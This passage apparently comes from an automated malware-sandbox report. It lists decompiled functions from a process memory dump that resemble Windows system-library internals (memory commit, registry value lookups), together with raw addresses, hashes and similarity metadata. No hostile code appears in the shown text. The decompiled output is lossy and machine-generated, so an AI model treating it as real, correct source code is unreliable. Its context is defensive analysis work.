				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E03D0FF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E03D11074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E03C89730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E03D0A80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E03D0A854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x3d38b04 >> 0x14) + (_v44 -  *0x3d38b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E03C67D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E03D0138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E03C67D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E03CFFEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x3d38724 & 0x00000008) != 0) {
						E03D052F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E03D115B5(0x3d38ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x03d10eb7
0x03d10eb9
0x03d10ec0
0x03d10ec2
0x03d10ecd
0x03d1105b
0x03d1105b
0x03d11061
0x03d11066
0x03d11066
0x03d1106b
0x03d11073
0x03d11073
0x03d10ed3
0x03d10ed6
0x03d10edc
0x03d10ee0
0x03d10ee7
0x03d10ef0
0x03d10ef5
0x03d10efa
0x03d10efc
0x03d10efd
0x03d10f03
0x03d10f04
0x03d10f06
0x03d10f07
0x03d10f09
0x03d10f0e
0x03d10f14
0x03d10f23
0x03d10f2d
0x03d10f34
0x03d10f34
0x03d10f14
0x03d10f52
0x00000000
0x00000000
0x03d10f58
0x03d10f73
0x03d10f74
0x03d10f79
0x03d10f7d
0x03d10f80
0x03d10f86
0x03d10fab
0x03d10fb5
0x03d10fc6
0x03d10fd1
0x03d10fe3
0x03d10fd3
0x03d10fdc
0x03d10fdc
0x03d10feb
0x03d11009
0x03d11009
0x03d11015
0x03d11027
0x03d11017
0x03d11020
0x03d11020
0x03d1102f
0x03d1103c
0x03d1103c
0x03d11048
0x03d11050
0x03d11050
0x03d11055
0x00000000
0x03d11055
0x03d10f88
0x03d10f9e
0x03d10fa2
0x03d10fa9
0x00000000
0x00000000
0x00000000
0x03d10fa9
0x00000000

Strings

`, xrefs: 03D10F16

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 34f6289bc5d92fdd7be9d31b1bfda175acf2938ee7a4bd287c660976d349e4b2
Instruction ID: 47a3ad125cd64fd5a965b83fd4512eb030fd04ed88deb4fdd1a80768bdaecc4a
Opcode Fuzzy Hash: 34f6289bc5d92fdd7be9d31b1bfda175acf2938ee7a4bd287c660976d349e4b2
Instruction Fuzzy Hash: 6F51C171604342AFD324DF29E885B1BB7E5EBC4704F08092CFA968B290D770E955CB62

Uniqueness

Uniqueness Score: -1.00%

Function 03C7F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E03C7F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E03C64120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E03C89830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E03C89990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E03C895D0();
							goto L11;
						} else {
							_t18 = _t82 + 0x18; // 0xca1eb81a
							_t109 = L03C64620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								_t29 =  &(_t103[2]); // 0x2002ca1e
								E03C8F3E0(_t21,  *_t29,  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t34 =  &(_t103[2]); // 0x2002ca1e
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)( *_t34 + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E03C895D0();
										L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x03c7f0d3
0x03c7f0d9
0x03c7f0e0
0x03c7f0e7
0x03c7f0f2
0x03c7f0f4
0x03c7f0f8
0x03c7f100
0x03c7f108
0x03c7f10d
0x03c7f115
0x03c7f116
0x03c7f11f
0x03c7f123
0x03c7f124
0x03c7f12c
0x03c7f130
0x03c7f134
0x03c7f13d
0x03c7f144
0x03c7f14b
0x03c7f152
0x03cbbab0
0x03cbbab0
0x03c7f158
0x03c7f158
0x03c7f15a
0x03c7f160
0x03c7f165
0x03c7f166
0x03c7f16f
0x03c7f173
0x03cbbaa7
0x03cbbaa7
0x03cbbaab
0x00000000
0x03c7f179
0x03c7f179
0x03c7f18d
0x03c7f191
0x03cbbaa2
0x00000000
0x03c7f197
0x03c7f19b
0x03c7f1a2
0x03c7f1a9
0x03c7f1af
0x03c7f1b2
0x03c7f1b6
0x03c7f1b9
0x03c7f1c0
0x03c7f1c4
0x03c7f1d8
0x03c7f1df
0x03c7f1e3
0x03c7f1e6
0x03c7f1eb
0x03c7f1ee
0x03c7f1f4
0x03c7f20f
0x03cbbab7
0x03cbbabb
0x03cbbacc
0x03cbbad1
0x03c7f215
0x03c7f218
0x03c7f226
0x03c7f22b
0x00000000
0x03c7f22b
0x03c7f1f6
0x03c7f1f6
0x03c7f1f9
0x03c7f1fb
0x03c7f1fb
0x03c7f1f4
0x03c7f191
0x03c7f173
0x03c7f152
0x03c7f203

Strings

@, xrefs: 03C7F124

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: f3709bb1d179217b5752d3d5de8ee90496815680a8b32a84b98ce34d53a688a4
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 0A517A755057109BC320DF19C880A6BBBF8FF48710F01892DF995CB690E7B4E944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03CC3540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E03CC3540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x3d3d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E03C80BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E03CC3706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E03C8FA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E03CC3540;
						E03C8FA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E03C9DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E03CD0C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E03C897C0();
					}
					return E03C8B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E03CC3971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E03CC3884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E03C8FA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E03C89650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E03CC3787(_a4,  &_v352, _t80);
						}
					}
					L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E03C895D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x03cc3552
0x03cc355a
0x03cc355d
0x03cc3566
0x03cc3567
0x03cc357e
0x03cc358f
0x03cc35a1
0x03cc35a5
0x03cc366b
0x03cc366b
0x03cc366d
0x03cc3672
0x03cc3679
0x03cc3685
0x03cc368d
0x03cc369d
0x03cc36a7
0x03cc36b8
0x03cc36c6
0x03cc36c7
0x03cc36dc
0x03cc36e1
0x03cc36e7
0x03cc36e9
0x03cc36e9
0x03cc3703
0x03cc3703
0x03cc35b5
0x03cc35c0
0x03cc35c4
0x00000000
0x00000000
0x03cc35ca
0x03cc35d7
0x03cc35e2
0x03cc35e6
0x03cc35e8
0x03cc35f5
0x03cc35fa
0x03cc3603
0x03cc3604
0x03cc3609
0x03cc360a
0x03cc3612
0x03cc3613
0x03cc361e
0x03cc3622
0x03cc3628
0x03cc362f
0x03cc362f
0x03cc3636
0x03cc3638
0x03cc363b
0x03cc3642
0x03cc3642
0x03cc3636
0x03cc3657
0x03cc3657
0x03cc365c
0x03cc3662
0x03cc3669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 03CC358F

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: BinaryHash
API String ID: 2994545307-2202222882
Opcode ID: c366eb2a1c3cb895de1c4f3e53edd81254c74e2a699f525773f39489d85de755
Instruction ID: 122b0506c2a3a6848295d5bd808263882be2db921650b9c52fc75412537ff193
Opcode Fuzzy Hash: c366eb2a1c3cb895de1c4f3e53edd81254c74e2a699f525773f39489d85de755
Instruction Fuzzy Hash: BD4167B5D1026C9BDB11DB50DC84FEEB77CAB44718F0185A9E609EB240DB349F889F94

Uniqueness

Uniqueness Score: -1.00%

Function 03D105AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E03D105AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E03D107DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E03C89730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E03D0A80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E03D0A854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E03D11293(_t79, _v40, E03D107DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E03C67D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E03D0138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x03d105c5
0x03d105ca
0x03d105d3
0x03d106db
0x03d106db
0x03d106dd
0x03d106e3
0x03d106e3
0x03d105dd
0x03d105e7
0x03d105f6
0x03d10600
0x03d10607
0x03d10610
0x03d10615
0x03d1061a
0x03d1061c
0x03d1061e
0x03d10624
0x03d10625
0x03d10627
0x03d10628
0x03d10631
0x03d10640
0x03d1064d
0x03d10654
0x03d10654
0x03d10631
0x03d1066d
0x03d10674
0x00000000
0x00000000
0x03d10692
0x03d1069e
0x03d106b0
0x03d106a0
0x03d106a9
0x03d106a9
0x03d106b8
0x03d106d6
0x03d106d6
0x00000000

Strings

`, xrefs: 03D10633

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: dea141eb103dc3966fbe96f13961b6990174dcb9a3ea74240e4041c09050f821
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: B431C0326043457BE720EE24DD85F9AB799EB84B54F084229FA58DB280D670E964CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 03CC3884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E03CC3884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E03C89650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L03C64620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E03C89650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x03cc3893
0x03cc3896
0x03cc3899
0x03cc389f
0x03cc38a0
0x03cc38a4
0x03cc38a9
0x03cc38ac
0x03cc38ad
0x03cc38ae
0x03cc38af
0x03cc38b1
0x03cc38b4
0x03cc38bb
0x03cc38bc
0x03cc38bd
0x03cc38c4
0x03cc38c8
0x03cc38ca
0x03cc38ca
0x03cc38d5
0x03cc393e
0x03cc3940
0x03cc3942
0x03cc3952
0x03cc3954
0x03cc3961
0x03cc3961
0x03cc3967
0x03cc396e
0x03cc396e
0x03cc3947
0x03cc394c
0x00000000
0x03cc394c
0x03cc38ea
0x03cc38ee
0x03cc38f8
0x03cc38f9
0x03cc38ff
0x03cc3900
0x03cc3902
0x03cc3903
0x03cc390b
0x03cc390f
0x03cc3950
0x00000000
0x03cc3950
0x03cc3915
0x03cc391d
0x03cc391d
0x03cc3922
0x03cc3926
0x00000000
0x03cc3928
0x03cc392b
0x03cc392b
0x03cc3935
0x03cc3937
0x03cc3937
0x00000000
0x03cc3935
0x03cc3926
0x03cc38f0
0x00000000

Strings

BinaryName, xrefs: 03CC38B4

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: BinaryName
API String ID: 2994545307-215506332
Opcode ID: 8d575e6ff8572fcc2f43e9cfd1128c07c064da58b62c6133c051512e3046b923
Instruction ID: 7cdae5a2e69a45ec76c149c9c66266e715efd08ef07cedb2a9ab8dda3572e607
Opcode Fuzzy Hash: 8d575e6ff8572fcc2f43e9cfd1128c07c064da58b62c6133c051512e3046b923
Instruction Fuzzy Hash: 8D31003A900689AFDB15DA59D845EABF778EB80B20F02816DE805EB280D734DE00C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 03C7D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E03C7D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x3d3d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E03C64120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E03C8B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E03C898D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E03C895D0();
					L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x03c7d29c
0x03c7d2a6
0x03c7d2b1
0x03c7d2b5
0x03c7d2b6
0x03c7d2bc
0x03c7d2bd
0x03c7d2be
0x03c7d2bf
0x03c7d2c2
0x03c7d2c4
0x03c7d2cc
0x03c7d384
0x03c7d34b
0x03c7d34f
0x03c7d350
0x03c7d351
0x03c7d35c
0x03c7d35c
0x03c7d2d6
0x03c7d2da
0x03c7d2e1
0x03c7d361
0x03c7d369
0x03c7d36d
0x03c7d2e3
0x03c7d2e3
0x03c7d2e3
0x03c7d2e5
0x03c7d2ed
0x03c7d2f5
0x03c7d2fa
0x03c7d302
0x03c7d303
0x03c7d30b
0x03c7d30f
0x03c7d313
0x03c7d318
0x03c7d31c
0x03c7d320
0x03c7d379
0x03c7d37d
0x00000000
0x00000000
0x03cbaffe
0x03cbb001
0x03cbb011
0x00000000
0x03c7d322
0x03c7d322
0x03c7d330
0x03c7d337
0x03c7d35d
0x03c7d339
0x03c7d33f
0x03c7d38c
0x03c7d38c
0x03c7d33f
0x03c7d349
0x00000000
0x03c7d349

Strings

@, xrefs: 03C7D303

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 1621e9fd442b951ec474191aad892859105903ca85e322b2657e2ec3fb505476
Instruction ID: a19fe61c66d6f2bb3cd012694cb081ec2079fd110e78e8baee192fcbe1e8d625
Opcode Fuzzy Hash: 1621e9fd442b951ec474191aad892859105903ca85e322b2657e2ec3fb505476
Instruction Fuzzy Hash: 5E31BFB65083059FC711DF29C8889ABBBF8EF89654F05092EF996C7210D634DE44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 03C51B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E03C51B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E03C8BB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E03C8A9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E03C8A9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L03C64620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x03c51b8f
0x03c51b9a
0x03c51b9c
0x03c51b9e
0x03c51ba3
0x03ca7010
0x03ca7010
0x00000000
0x03c51ba9
0x03c51ba9
0x03c51bae
0x00000000
0x03c51bc5
0x03c51bca
0x03c51bcf
0x03c51bd0
0x03c51bd1
0x03c51bd2
0x03c51bd6
0x03c51bdc
0x03c51be0
0x03ca6ffc
0x03ca7000
0x00000000
0x03ca7006
0x03ca7009
0x03ca7009
0x03c51be6
0x03c51bec
0x03c51c0b
0x03c51c0b
0x03c51c0c
0x03c51c11
0x03c51c12
0x03c51c15
0x03c51c1b
0x03c51c1f
0x03c51c31
0x03c51c33
0x03ca7026
0x03ca7026
0x03c51c21
0x03c51c24
0x03c51c24
0x03c51bee
0x03c51bee
0x03c51bf2
0x03c51c3a
0x03c51bf4
0x03c51bf4
0x03c51c05
0x03c51c05
0x03c51c09
0x03c51c3e
0x00000000
0x00000000
0x00000000
0x03c51c09
0x03c51bec
0x03c51be0
0x03c51bae
0x03c51c2e

Strings

WindowsExcludedProcs, xrefs: 03C51BC5

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

